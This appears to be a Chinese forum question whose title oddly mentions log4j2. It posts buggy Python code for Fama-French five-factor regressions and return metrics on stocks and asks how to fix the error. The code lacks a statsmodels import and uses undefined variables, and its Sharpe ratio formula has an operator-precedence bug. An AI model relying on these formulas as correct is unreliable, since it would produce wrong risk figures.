lg4j2补充

``` import baostock as bs import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns plt.rcParams ['font.sans-serif'] ='SimHei' #显示中文 plt.rcParams ['axes.unicode_minus']=False #显示负号 three_factors=pd.read_csv('fivefactor_daily.csv')[['trddy','mkt_rf','smb','hml','rmw','cma']].rename(columns={'trddy':'日期'}).set_index('日期') three_factors=three_factors.loc['2023-04-01':'2024-03-31',:] three_factors.index=pd.to_datetime(three_factors.index) three_factors.head(3) def sum_return_ratio(price_list): '''实际总收益率''' price_list=price_list.to_numpy() return (price_list[-1]-price_list[0])/price_list[0] def MaxDrawdown(price_list): '''最大回撤率''' i = np.argmax((np.maximum.accumulate(price_list) - price_list) / np.maximum.accumulate(price_list)) # 结束位置 if i == 0: return 0 j = np.argmax(price_list[:i]) # 开始位置 return (price_list[j] - price_list[i]) / (price_list[j]) def sharpe_ratio(price_list,rf=0.000041): '''夏普比率''' #公式 夏普率 = (回报率均值 - 无风险率) / 回报率的标准差 # pct_change()是pandas里面的自带的计算每日增长率的函数 daily_return = price_list.pct_change() return daily_return.mean()-rf/ daily_return.std() def Information_Ratio(price_list,rf=0.000041): '''信息比率''' chaoer=sum_return_ratio(price_list)-((1+rf)**365-1) return chaoer/np.std(price_list.pct_change()-rf) def deal(code='', mode='五因子'): day_return = return_dict[code] # ['收益率'] day_return.index = pd.to_datetime(day_return.index) 实际总收益率 = sum_return_ratio(day_return['收盘']) 最大回测率 = MaxDrawdown(day_return['收盘']) 夏普比率 = sharpe_ratio(day_return['收盘']) 信息比率 = Information_Ratio(day_return['收盘']) zgpa_threefactor = pd.merge(three_factors, day_return, left_index=True, right_index=True) if mode == '五因子': result = sm.OLS(zgpa_threefactor['收益率'], sm.add_constant(zgpa_threefactor.loc[:, ['mkt_rf', 'smb', 'hml', 'rmw', 'cma']])).fit() betas = result.params return pd.DataFrame( {'阿尔法': betas[0], '市场风险因子MKT': betas[1], '市值因子SMB': betas[2], '账面市值因子HML': betas[3], '盈利能力因子RMW': betas[4], '投资风格因子CMA': betas[5], '实际总收益率': 实际总收益率, '最大回测率': 最大回测率, '夏普比率': 夏普比率, '信息比率': 信息比率, '股票代码': code}, index=[0]) else: # zgpa_threefactor = pd.merge(three_factors, day_return,left_index=True, right_index=True) result = sm.OLS(zgpa_threefactor['收益率'], sm.add_constant(zgpa_threefactor.loc[:, ['mkt_rf', 'smb', 'hml']])).fit() betas = result.params return pd.DataFrame( {'阿尔法': betas[0], '市场风险因子MKT': betas[1], '市值因子SMB': betas[2], '账面市值因子HML': betas[3], '实际总收益率': 实际总收益率, '最大回测率': 最大回测率, '夏普比率': 夏普比率, '信息比率': 信息比率, '股票代码': code}, index=[0]) df_results = pd.DataFrame() for code, df_one in return_dict.items(): result = deal(code=code,mode='五因子'); result['股票名称'] = code_name[code] df_results = pd.concat([df_results, result], axis=0, ignore_index=True) df_results=df_results[['股票代码', '股票名称','阿尔法', '市场风险因子MKT', '市值因子SMB', '账面市值因子HML', '实际总收益率', '最大回测率', '夏普比率', '信息比率']].sort_values(by='阿尔法',ascending=False) df_results ### 储存结果 df_results.to_csv('五因子结果.csv',index=False)```代码运行错误怎样更改